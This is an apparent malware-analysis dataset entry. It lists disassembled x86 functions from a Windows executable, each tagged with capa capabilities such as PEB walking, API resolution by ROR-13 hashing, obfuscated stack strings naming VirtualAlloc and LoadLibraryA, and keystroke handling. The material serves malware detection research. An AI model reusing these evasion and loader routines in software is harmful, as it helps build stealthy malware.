joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40dfd5
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
mov eax, 0x6b
mov word [ebp - 0x24], ax
mov ecx, 0x65
mov word [ebp - 0x22], cx
mov edx, 0x72
mov word [ebp - 0x20], dx
mov eax, 0x6e
mov word [ebp - 0x1e], ax
mov ecx, 0x65
mov word [ebp - 0x1c], cx
mov edx, 0x6c
mov word [ebp - 0x1a], dx
mov eax, 0x33
mov word [ebp - 0x18], ax
mov ecx, 0x32
mov word [ebp - 0x16], cx
mov edx, 0x2e
mov word [ebp - 0x14], dx
mov eax, 0x64
mov word [ebp - 0x12], ax
mov ecx, 0x6c
mov word [ebp - 0x10], cx
mov edx, 0x6c
mov word [ebp - 0xe], dx
xor eax, eax
mov word [ebp - 0xc], ax
mov dword [ebp - 4], 0
mov ebx, dword fs:[0x30]
mov ebx, dword [ebx + 0xc]
mov ebx, dword [ebx + 0x14]
mov eax, dword [ebx + 0x28]
test eax, eax
je 0x40e089
mov dword [ebp - 8], eax
lea ecx, [ebp - 0x24]
push ecx
mov edx, dword [ebp - 8]
push edx
call fcn.0040df65
add esp, 8
cmp eax, 0
mov eax, dword [ebx + 0x10]
mov ebx, dword [ebx]
jne 0x40e062
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40e095
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x14
push ebp
push edi
mov edi, ecx
mov ebp, edx
test edi, edi
je 0x40e0b0
test ebp, ebp
je 0x40e0b0
mov eax, dword [edi + 0x3c]
cmp dword [eax + edi + 0x7c], 0
jne 0x40e0b8
pop edi
xor eax, eax
pop ebp
add esp, 0x14
ret
mov eax, dword [eax + edi + 0x78]
add eax, edi
push ebx
mov ecx, dword [eax + 0x20]
mov edx, dword [eax + 0x24]
mov ebx, dword [eax + 0x14]
add ecx, edi
mov dword [esp + 0x10], ecx
push esi
mov esi, dword [eax + 0x1c]
mov ecx, ebp
sub ecx, dword [eax + 0x10]
add esi, edi
add edx, edi
mov dword [esp + 0x20], esi
mov dword [esp + 0x1c], edx
mov dword [esp + 0x10], ebx
cmp ecx, ebx
ja 0x40e0f8
mov eax, dword [esi + ecx*4]
pop esi
pop ebx
add eax, edi
pop edi
pop ebp
add esp, 0x14
ret
mov eax, dword [eax + 0x18]
xor esi, esi
mov dword [esp + 0x18], eax
test eax, eax
je 0x40e154
mov ecx, ebx
movzx ebx, word [edx + esi*2]
cmp ebx, ecx
ja 0x40e14f
mov eax, dword [esp + 0x14]
mov ecx, ebp
mov eax, dword [eax + esi*4]
add eax, edi
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x40e13a
test dl, dl
je 0x40e136
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x40e13a
add ecx, 2
add eax, 2
test dl, dl
jne 0x40e11a
xor eax, eax
jmp 0x40e13f
sbb eax, eax
or eax, 1
test eax, eax
je 0x40e15e
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
mov ecx, dword [esp + 0x10]
inc esi
cmp esi, eax
jb 0x40e107
pop esi
pop ebx
pop edi
xor eax, eax
pop ebp
add esp, 0x14
ret
mov eax, dword [esp + 0x20]
pop esi
mov eax, dword [eax + ebx*4]
pop ebx
add eax, edi
pop edi
pop ebp
add esp, 0x14
ret
Function at 0x40e175
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x10
push ebx
push edi
mov edi, edx
mov ebx, ecx
call fcn.0040dfd5
test eax, eax
jne 0x40e18d
pop edi
pop ebx
add esp, 0x10
ret
push esi
lea edx, [esp + 0xc]
mov ecx, eax
mov dword [esp + 0xc], 0x74726956
mov dword [esp + 0x10], 0x416c6175
mov dword [esp + 0x14], 0x636f6c6c
mov byte [esp + 0x18], 0
call fcn.0040e095
mov esi, eax
test esi, esi
jne 0x40e1c3
pop esi
pop edi
pop ebx
add esp, 0x10
ret
push 0x40
push 0x3000
push edi
push ebx
call esi
test eax, eax
jne 0x40e1dd
push 0x40
push 0x3000
push edi
push eax
call esi
pop esi
pop edi
pop ebx
add esp, 0x10
ret
Function at 0x40e2d5
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x44
push esi
push edi
mov dword [esp + 0x1c], edx
mov edi, ecx
call fcn.0040dfd5
mov esi, eax
test esi, esi
jne 0x40e2f3
pop edi
xor eax, eax
pop esi
add esp, 0x44
ret
lea edx, [esp + 0x38]
mov ecx, esi
mov dword [esp + 0x38], 0x64616f4c
mov dword [esp + 0x3c], 0x7262694c
mov dword [esp + 0x40], 0x41797261
mov byte [esp + 0x44], 0
call fcn.0040e095
mov dword [esp + 0x18], eax
test eax, eax
je 0x40e2eb
lea edx, [esp + 0x38]
mov ecx, esi
mov dword [esp + 0x38], 0x65657246
mov dword [esp + 0x3c], 0x7262694c
mov dword [esp + 0x40], 0x797261
call fcn.0040e095
mov dword [esp + 0x34], eax
test eax, eax
je 0x40e2eb
lea edx, [esp + 0x38]
mov ecx, esi
mov dword [esp + 0x38], 0x50746547
mov dword [esp + 0x3c], 0x41636f72
mov dword [esp + 0x40], 0x65726464
mov word [esp + 0x44], 0x7373
mov byte [esp + 0x46], 0
call fcn.0040e095
mov dword [esp + 0x28], eax
test eax, eax
je 0x40e2eb
lea edx, [esp + 0x38]
mov ecx, esi
mov dword [esp + 0x38], 0x4d746547
mov dword [esp + 0x3c], 0x6c75646f
mov dword [esp + 0x40], 0x6e614865
mov dword [esp + 0x44], 0x41656c64
mov byte [esp + 0x48], 0
call fcn.0040e095
mov dword [esp + 0x30], eax
test eax, eax
je 0x40e2eb
mov eax, dword [edi + 0x3c]
push ebx
cmp dword [eax + edi + 0x84], 0
push ebp
je 0x40e4ba
mov ecx, dword [eax + edi + 0x80]
add ecx, edi
xor esi, esi
lea ebx, [ecx + 0xc]
mov dword [esp + 0x34], ecx
mov dword [esp + 0x10], esi
cmp dword [ebx], esi
je 0x40e4ba
mov eax, ebx
mov ebp, ecx
mov eax, dword [eax]
add eax, edi
push eax
mov dword [esp + 0x2c], eax
call dword [esp + 0x24]
mov dword [esp + 0x2c], eax
mov eax, dword [ebp]
mov dword [esp + 0x1c], eax
test eax, eax
jne 0x40e41d
mov eax, dword [ebp + 0x10]
mov dword [esp + 0x1c], eax
add eax, edi
mov dword [esp + 0x14], 0
cmp dword [eax], 0
je 0x40e49e
mov dword [esp + 0x18], 0
nop
mov eax, dword [eax]
test eax, eax
jns 0x40e440
movzx esi, ax
jmp 0x40e445
lea esi, [edi + 2]
add esi, eax
mov ecx, dword [esp + 0x24]
test ecx, ecx
je 0x40e464
push dword [esp + 0x58]
and eax, 0x80000000
push eax
push esi
push dword [esp + 0x34]
call ecx
mov ecx, eax
test ecx, ecx
jne 0x40e473
push esi
push dword [esp + 0x30]
call dword [esp + 0x38]
mov ecx, eax
test ecx, ecx
je 0x40e4c7
mov eax, dword [ebp + 0x10]
add eax, dword [esp + 0x18]
mov dword [eax + edi], ecx
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0x1c]
inc ecx
mov dword [esp + 0x14], ecx
shl ecx, 2
add eax, ecx
add eax, edi
mov dword [esp + 0x18], ecx
cmp dword [eax], 0
jne 0x40e435
mov esi, dword [esp + 0x10]
mov ecx, dword [esp + 0x34]
inc esi
mov dword [esp + 0x10], esi
lea eax, [esi + esi*4]
lea ebp, [ecx + eax*4]
cmp dword [ebp + 0xc], 0
lea eax, [ebp + 0xc]
jne 0x40e3fa
pop ebp
pop ebx
pop edi
mov eax, 1
pop esi
add esp, 0x44
ret
cmp dword [ebx], 0
je 0x40e4f0
mov esi, dword [esp + 0x10]
xor ebp, ebp
lea ecx, [ecx]
cmp ebp, esi
ja 0x40e4f0
mov eax, dword [ebx]
add eax, edi
push eax
call dword [esp + 0x3c]
push eax
call dword [esp + 0x40]
add ebx, 0x14
inc ebp
cmp dword [ebx], 0
jne 0x40e4d5
pop ebp
pop ebx
pop edi
xor eax, eax
pop esi
add esp, 0x44
ret
Function at 0x40e505
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x18
push esi
push edi
mov edi, ecx
call fcn.0040dfd5
mov esi, eax
test esi, esi
je 0x40e5c1
push ebp
lea edx, [esp + 0x10]
mov ecx, esi
mov dword [esp + 0x10], 0x65657246
mov dword [esp + 0x14], 0x7262694c
mov dword [esp + 0x18], 0x797261
call fcn.0040e095
mov ebp, eax
test ebp, ebp
je 0x40e5c0
lea edx, [esp + 0x10]
mov ecx, esi
mov dword [esp + 0x10], 0x4d746547
mov dword [esp + 0x14], 0x6c75646f
mov dword [esp + 0x18], 0x6e614865
mov dword [esp + 0x1c], 0x41656c64
mov byte [esp + 0x20], 0
call fcn.0040e095
mov edx, eax
mov dword [esp + 0xc], edx
test edx, edx
je 0x40e5c0
mov ecx, dword [edi + 0x3c]
cmp dword [ecx + edi + 0x84], 0
je 0x40e5c0
push ebx
mov ebx, dword [ecx + edi + 0x80]
add ebx, edi
xor esi, esi
mov eax, dword [ebx + 0xc]
test eax, eax
je 0x40e5bf
lea ebx, [ebx]
add eax, edi
push eax
call edx
push eax
call ebp
mov edx, dword [esp + 0x10]
lea esi, [esi + 1]
lea eax, [esi + esi*4]
mov eax, dword [ebx + eax*4 + 0xc]
test eax, eax
jne 0x40e5a5
pop ebx
pop ebp
pop edi
pop esi
add esp, 0x18
ret

Function at 0x40e8b9
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
mov eax, 0x6b
mov word [ebp - 0x24], ax
mov ecx, 0x65
mov word [ebp - 0x22], cx
mov edx, 0x72
mov word [ebp - 0x20], dx
mov eax, 0x6e
mov word [ebp - 0x1e], ax
mov ecx, 0x65
mov word [ebp - 0x1c], cx
mov edx, 0x6c
mov word [ebp - 0x1a], dx
mov eax, 0x33
mov word [ebp - 0x18], ax
mov ecx, 0x32
mov word [ebp - 0x16], cx
mov edx, 0x2e
mov word [ebp - 0x14], dx
mov eax, 0x64
mov word [ebp - 0x12], ax
mov ecx, 0x6c
mov word [ebp - 0x10], cx
mov edx, 0x6c
mov word [ebp - 0xe], dx
xor eax, eax
mov word [ebp - 0xc], ax
mov dword [ebp - 4], 0
mov ebx, dword fs:[0x30]
mov ebx, dword [ebx + 0xc]
mov ebx, dword [ebx + 0x14]
mov eax, dword [ebx + 0x28]
test eax, eax
je 0x40e96d
mov dword [ebp - 8], eax
lea ecx, [ebp - 0x24]
push ecx
mov edx, dword [ebp - 8]
push edx
call fcn.0040e849
add esp, 8
cmp eax, 0
mov eax, dword [ebx + 0x10]
mov ebx, dword [ebx]
jne 0x40e946
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40e979
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x14
push ebp
push edi
mov edi, ecx
mov ebp, edx
test edi, edi
je 0x40e994
test ebp, ebp
je 0x40e994
mov eax, dword [edi + 0x3c]
cmp dword [eax + edi + 0x7c], 0
jne 0x40e99c
pop edi
xor eax, eax
pop ebp
add esp, 0x14
ret
mov eax, dword [eax + edi + 0x78]
add eax, edi
push ebx
mov ecx, dword [eax + 0x20]
mov edx, dword [eax + 0x24]
mov ebx, dword [eax + 0x14]
add ecx, edi
mov dword [esp + 0x10], ecx
push esi
mov esi, dword [eax + 0x1c]
mov ecx, ebp
sub ecx, dword [eax + 0x10]
add esi, edi
add edx, edi
mov dword [esp + 0x20], esi
mov dword [esp + 0x1c], edx
mov dword [esp + 0x10], ebx
cmp ecx, ebx
ja 0x40e9dc
mov eax, dword [esi + ecx*4]
pop esi
pop ebx
add eax, edi
pop edi
pop ebp
add esp, 0x14
ret
mov eax, dword [eax + 0x18]
xor esi, esi
mov dword [esp + 0x18], eax
test eax, eax
je 0x40ea38
mov ecx, ebx
movzx ebx, word [edx + esi*2]
cmp ebx, ecx
ja 0x40ea33
mov eax, dword [esp + 0x14]
mov ecx, ebp
mov eax, dword [eax + esi*4]
add eax, edi
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x40ea1e
test dl, dl
je 0x40ea1a
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x40ea1e
add ecx, 2
add eax, 2
test dl, dl
jne 0x40e9fe
xor eax, eax
jmp 0x40ea23
sbb eax, eax
or eax, 1
test eax, eax
je 0x40ea42
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
mov ecx, dword [esp + 0x10]
inc esi
cmp esi, eax
jb 0x40e9eb
pop esi
pop ebx
pop edi
xor eax, eax
pop ebp
add esp, 0x14
ret
mov eax, dword [esp + 0x20]
pop esi
mov eax, dword [eax + ebx*4]
pop ebx
add eax, edi
pop edi
pop ebp
add esp, 0x14
ret

Function at 0x40ea59
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x18
push esi
push edi
mov edi, ecx
call fcn.0040e8b9
mov esi, eax
test esi, esi
je 0x40eb15
push ebp
lea edx, [esp + 0x10]
mov ecx, esi
mov dword [esp + 0x10], 0x65657246
mov dword [esp + 0x14], 0x7262694c
mov dword [esp + 0x18], 0x797261
call fcn.0040e979
mov ebp, eax
test ebp, ebp
je 0x40eb14
lea edx, [esp + 0x10]
mov ecx, esi
mov dword [esp + 0x10], 0x4d746547
mov dword [esp + 0x14], 0x6c75646f
mov dword [esp + 0x18], 0x6e614865
mov dword [esp + 0x1c], 0x41656c64
mov byte [esp + 0x20], 0
call fcn.0040e979
mov edx, eax
mov dword [esp + 0xc], edx
test edx, edx
je 0x40eb14
mov ecx, dword [edi + 0x3c]
cmp dword [ecx + edi + 0x84], 0
je 0x40eb14
push ebx
mov ebx, dword [ecx + edi + 0x80]
add ebx, edi
xor esi, esi
mov eax, dword [ebx + 0xc]
test eax, eax
je 0x40eb13
lea ebx, [ebx]
add eax, edi
push eax
call edx
push eax
call ebp
mov edx, dword [esp + 0x10]
lea esi, [esi + 1]
lea eax, [esi + esi*4]
mov eax, dword [ebx + eax*4 + 0xc]
test eax, eax
jne 0x40eaf9
pop ebx
pop ebp
pop edi
pop esi
add esp, 0x18
ret
Function at 0x40f440
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 4], 0
mov dword [ebp - 8], esp
mov ebx, dword [ebp + 8]
push dword [ebx]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
nop
nop
cmp dword [ebp - 8], esp
je 0x40f47e
push 0x19
push 0x40aa294
push 6
call fcn.004418ac
add esp, 0xc
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x40f495
mov eax, 0
jmp 0x40f4b6
push 0x10
push dword [ebp - 4]
call fcn.0040f4bc
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
mov eax, 0
sete al
jmp 0x40f4b6
mov esp, ebp
pop ebp
ret 4

Function at 0x40f538
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 4], esp
push dword [ebp + 0xc]
mov ebx, dword [ebp + 8]
push dword [ebx]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
nop
nop
cmp dword [ebp - 4], esp
je 0x40f572
push 0x24
push 0x40aa659
push 6
call fcn.004418ac
add esp, 0xc
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
mov eax, 0
setne al
jmp 0x40f586
mov esp, ebp
pop ebp
ret 8
Function at 0x413200
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
push 0x80000301
push 0
push 4
push 1
mov ebx, 0x184
call fcn.004427d0
add esp, 0x10
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x413245
push ebx
call fcn.004418b2
add esp, 4
pop eax
mov dword [ebp - 4], eax
mov dword [ebp - 8], esp
push 4
push dword [ebp - 4]
push 0x23
push 0
xor eax, eax
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
nop
nop
cmp dword [ebp - 8], esp
je 0x413284
push 0x36
push 0x409e693
push 6
call fcn.004418ac
add esp, 0xc
push 0x80000004
push 0
mov eax, dword [ebp - 4]
test eax, eax
jne 0x413297
mov eax, 0x47b310
push eax
push 1
mov ebx, 0x9dc
call fcn.00442f30
add esp, 0x10
jmp 0x4132af
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4132c0
push ebx
call fcn.004418b2
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret
Function at 0x416348
Capabilities:
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 4], 0
mov dword [ebp - 8], esp
push 2
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
nop
nop
cmp dword [ebp - 8], esp
je 0x416389
push 0x19
push 0x40aa2bf
push 6
call fcn.004418ac
add esp, 0xc
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x41
jl 0x4163a7
cmp dword [ebp - 4], 0x5a
jg 0x4163a7
mov eax, 1
jmp 0x4163ac
mov eax, 0
test eax, eax
je 0x4163b8
add dword [ebp - 4], 0x20
mov eax, dword [ebp - 4]
jmp 0x4163c0
mov esp, ebp
pop ebp
ret 4

Function at 0x416898
Capabilities:
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0x40
call fcn.004418a6
add esp, 4
mov dword [ebp - 4], eax
mov ebx, eax
mov edi, eax
xor eax, eax
mov ecx, 0x10
rep stosd dword es:[edi], eax
mov ebx, dword [ebp - 4]
mov dword [ebp - 8], ebx
mov ebx, dword [ebp - 8]
mov dword [ebx], 0x40
mov dword [ebp - 8], esp
push dword [ebp - 4]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
nop
nop
cmp dword [ebp - 8], esp
je 0x4168f9
push 0x2c
push 0x40aaede
push 6
call fcn.004418ac
add esp, 0xc
mov eax, dword [ebp - 4]
push eax
push 0x40
call fcn.004418a6
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
jmp 0x416912
push eax
mov ebx, dword [ebp - 4]
push ebx
call fcn.004418b2
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret
Function at 0x4195d4
Capabilities:
Resolve function by hash

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov eax, dword [0x5a3bc0]
mov dword [ebp - 4], eax
mov eax, dword [0x5a3bc4]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov eax, dword [ebp + 8]
mov eax, dword [eax]
mov ecx, eax
cmp eax, 0
jne 0x419635
leave
ret 0xc
mov eax, dword [eax + 4]
cmp eax, 0
jne 0x419641
leave
ret 0xc
add eax, 8
mov dword [ebp - 0x10], eax
cmp dword [ebp + 0xc], 0
je 0x419651
mov eax, ecx
jmp 0x4196a8
cmp dword [ebp - 4], 0
jne 0x419678
push 0x6a4abc5b
call fcn.0041971d
push 0x864bde7e
push eax
call fcn.00419790
call eax
mov dword [ebp - 4], eax
mov dword [ebp - 0xc], 1
cmp dword [ebp - 8], 0
jne 0x41969d
push 0x3cfa685d
call fcn.0041971d
push 0xc9616ee
push eax
call fcn.00419790
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], 1
push dword [ebp - 0x10]
push 0
push dword [ebp - 4]
call dword [ebp - 8]
push ebx
push edx
mov dword [ebp - 0x14], eax
mov edx, eax
mov ecx, dword [ebp - 0x10]
sub ecx, 8
cmp dword [ebp + 0xc], 0
jne 0x4196c4
mov dword [edx], 1
mov dword [edx + 4], ecx
add edx, 8
dec ecx
mov dword [ebp - 0x10], ecx
mov ebx, dword [ebp + 8]
mov ebx, dword [ebx]
lea ebx, [ebx + ecx + 8]
cmp dword [ebp + 0xc], 0
je 0x4196ea
push edx
mov eax, dword [ebp - 0x10]
mov ecx, 2
cdq
idiv ecx
mov dword [ebp - 0x10], eax
pop edx
xor ecx, ecx
cmp ecx, dword [ebp - 0x10]
jle 0x4196f3
jmp 0x41970a
cmp dword [ebp + 0xc], 0
je 0x419701
mov al, byte [ebx]
xchg byte [edx], al
mov byte [ebx], al
jmp 0x419705
mov al, byte [ebx]
mov byte [edx], al
inc ecx
inc edx
dec ebx
jmp 0x4196ec
pop edx
pop ebx
cmp dword [ebp + 0xc], 0
jne 0x419717
jmp 0x419919
xor eax, eax
leave
ret 0xc
cmp dword [ebp - 0xc], 0
jne 0x419926
mov eax, dword [ebp - 0x14]
leave
ret 0xc
mov eax, dword [ebp - 4]
mov dword [0x5a3bc0], eax
mov eax, dword [ebp - 8]
mov dword [0x5a3bc4], eax
mov eax, dword [ebp - 0x14]
leave
ret 0xc

Function at 0x41971d
Capabilities:
Access peb ldr_data

Disassembly:
pop edx
pop ecx
push edx
xor eax, eax
pushal
mov ebx, dword fs:[0x30]
mov ebx, dword ds:[ebx + 0xc]
mov ebx, dword ds:[ebx + 0x14]
mov edi, ebx
mov esi, dword ds:[ebx + 0x28]
xor eax, eax
xor edx, edx
mov ecx, dword ds:[esi]
test cx, cx
je 0x419772
mov al, cl
cmp al, 0x61
jb 0x41974c
sub al, 0x20
ror edx, 0xd
add edx, eax
ror edx, 0xd
shr ecx, 0x10
test cx, cx
je 0x419772
mov al, cl
cmp al, 0x61
jb 0x419764
sub al, 0x20
ror edx, 0xd
add edx, eax
ror edx, 0xd
lea esi, ds:[esi + 4]
jmp 0x41973c
cmp edx, dword ss:[esp + 0x18]
je 0x419785
mov ebx, dword ds:[ebx]
cmp edi, dword ds:[ebx]
jne 0x419734
xor eax, eax
jmp 0x419789
mov eax, dword ds:[ebx + 0x10]
mov dword ss:[esp + 0x1c], eax
popal
ret
Function at 0x419790
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov ecx, dword ss:[esp]
mov edx, dword ss:[esp + 8]
mov dword ss:[esp + 8], ecx
mov ecx, dword ss:[esp + 4]
add esp, 8
xor eax, eax
pushal
mov ebx, ecx
mov eax, dword ds:[ebx + 0x3c]
mov eax, dword ds:[ebx + eax + 0x78]
test eax, eax
je 0x4198a2
lea esi, ds:[ebx + eax]
test edx, 0xffff0000
je 0x4198a9
mov ecx, dword ds:[esi + 0x18]
mov edi, dword ds:[esi + 0x20]
lea edi, ds:[ebx + edi]
mov ebp, dword ds:[edi + ecx*4 - 4]
lea ebp, ds:[ebx + ebp]
xor eax, eax
xor edx, edx
mov al, byte ss:[ebp]
test al, al
je 0x4197fb
cmp al, 0x61
jb 0x4197f3
sub al, 0x20
ror edx, 0xd
add edx, eax
inc ebp
jmp 0x4197e5
cmp edx, dword ss:[esp + 0x14]
je 0x41980c
dec ecx
jne 0x4197d8
xor eax, eax
jmp 0x4198a2
mov edx, dword ds:[esi + 0x24]
lea edx, ds:[ebx + edx]
mov edx, dword ds:[edx + ecx*2 - 2]
and edx, 0xffff
mov eax, dword ds:[esi + 0x1c]
lea eax, ds:[ebx + eax]
mov eax, dword ds:[eax + edx*4]
lea eax, ds:[ebx + eax]
cmp eax, esi
jbe 0x4198a2
mov ecx, dword ds:[ebx + 0x3c]
mov ecx, dword ds:[ebx + ecx + 0x7c]
add esi, ecx
cmp eax, esi
jae 0x4198a2
mov ebp, eax
xor eax, eax
xor edx, edx
mov al, byte ss:[ebp]
cmp al, 0x61
jb 0x419852
sub al, 0x20
ror edx, 0xd
add edx, eax
ror edx, 0xd
inc ebp
cmp al, 0x2e
je 0x419861
jmp 0x419848
ror edx, 0xd
add edx, 0x44
ror edx, 0x1a
add edx, 0x4c
ror edx, 0x1a
add edx, 0x4c
ror edx, 0xd
mov ecx, edx
call 0x4198a9
test eax, eax
je 0x4198a2
mov ecx, eax
xor eax, eax
xor edx, edx
mov al, byte ss:[ebp]
test al, al
je 0x41989d
cmp al, 0x61
jb 0x419895
sub al, 0x20
ror edx, 0xd
add edx, eax
inc ebp
jmp 0x419887
call 0x4197a6
mov dword ss:[esp + 0x1c], eax
popal
ret
xor eax, eax
pushal
mov ebx, dword fs:[0x30]
mov ebx, dword ds:[ebx + 0xc]
mov ebx, dword ds:[ebx + 0x14]
mov edi, ebx
mov esi, dword ds:[ebx + 0x28]
xor eax, eax
xor edx, edx
mov ecx, dword ds:[esi]
test cx, cx
je 0x4198fb
mov al, cl
cmp al, 0x61
jb 0x4198d5
sub al, 0x20
ror edx, 0xd
add edx, eax
ror edx, 0xd
shr ecx, 0x10
test cx, cx
je 0x4198fb
mov al, cl
cmp al, 0x61
jb 0x4198ed
sub al, 0x20
ror edx, 0xd
add edx, eax
ror edx, 0xd
lea esi, ds:[esi + 4]
jmp 0x4198c5
cmp edx, dword ss:[esp + 0x18]
je 0x41990e
mov ebx, dword ds:[ebx]
cmp edi, dword ds:[ebx]
jne 0x4198bd
xor eax, eax
jmp 0x419912
mov eax, dword ds:[ebx + 0x10]
mov dword ss:[esp + 0x1c], eax
popal
ret
Function at 0x4197a6
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov ecx, dword ss:[esp]
mov edx, dword ss:[esp + 8]
mov dword ss:[esp + 8], ecx
mov ecx, dword ss:[esp + 4]
add esp, 8
xor eax, eax
pushal
mov ebx, ecx
mov eax, dword ds:[ebx + 0x3c]
mov eax, dword ds:[ebx + eax + 0x78]
test eax, eax
je 0x4198a2
lea esi, ds:[ebx + eax]
test edx, 0xffff0000
je 0x4198a9
mov ecx, dword ds:[esi + 0x18]
mov edi, dword ds:[esi + 0x20]
lea edi, ds:[ebx + edi]
mov ebp, dword ds:[edi + ecx*4 - 4]
lea ebp, ds:[ebx + ebp]
xor eax, eax
xor edx, edx
mov al, byte ss:[ebp]
test al, al
je 0x4197fb
cmp al, 0x61
jb 0x4197f3
sub al, 0x20
ror edx, 0xd
add edx, eax
inc ebp
jmp 0x4197e5
cmp edx, dword ss:[esp + 0x14]
je 0x41980c
dec ecx
jne 0x4197d8
xor eax, eax
jmp 0x4198a2
mov edx, dword ds:[esi + 0x24]
lea edx, ds:[ebx + edx]
mov edx, dword ds:[edx + ecx*2 - 2]
and edx, 0xffff
mov eax, dword ds:[esi + 0x1c]
lea eax, ds:[ebx + eax]
mov eax, dword ds:[eax + edx*4]
lea eax, ds:[ebx + eax]
cmp eax, esi
jbe 0x4198a2
mov ecx, dword ds:[ebx + 0x3c]
mov ecx, dword ds:[ebx + ecx + 0x7c]
add esi, ecx
cmp eax, esi
jae 0x4198a2
mov ebp, eax
xor eax, eax
xor edx, edx
mov al, byte ss:[ebp]
cmp al, 0x61
jb 0x419852
sub al, 0x20
ror edx, 0xd
add edx, eax
ror edx, 0xd
inc ebp
cmp al, 0x2e
je 0x419861
jmp 0x419848
ror edx, 0xd
add edx, 0x44
ror edx, 0x1a
add edx, 0x4c
ror edx, 0x1a
add edx, 0x4c
ror edx, 0xd
mov ecx, edx
call 0x4198a9
test eax, eax
je 0x4198a2
mov ecx, eax
xor eax, eax
xor edx, edx
mov al, byte ss:[ebp]
test al, al
je 0x41989d
cmp al, 0x61
jb 0x419895
sub al, 0x20
ror edx, 0xd
add edx, eax
inc ebp
jmp 0x419887
call 0x4197a6
mov dword ss:[esp + 0x1c], eax
popal
ret
xor eax, eax
pushal
mov ebx, dword fs:[0x30]
mov ebx, dword ds:[ebx + 0xc]
mov ebx, dword ds:[ebx + 0x14]
mov edi, ebx
mov esi, dword ds:[ebx + 0x28]
xor eax, eax
xor edx, edx
mov ecx, dword ds:[esi]
test cx, cx
je 0x4198fb
mov al, cl
cmp al, 0x61
jb 0x4198d5
sub al, 0x20
ror edx, 0xd
add edx, eax
ror edx, 0xd
shr ecx, 0x10
test cx, cx
je 0x4198fb
mov al, cl
cmp al, 0x61
jb 0x4198ed
sub al, 0x20
ror edx, 0xd
add edx, eax
ror edx, 0xd
lea esi, ds:[esi + 4]
jmp 0x4198c5
cmp edx, dword ss:[esp + 0x18]
je 0x41990e
mov ebx, dword ds:[ebx]
cmp edi, dword ds:[ebx]
jne 0x4198bd
xor eax, eax
jmp 0x419912
mov eax, dword ds:[ebx + 0x10]
mov dword ss:[esp + 0x1c], eax
popal
ret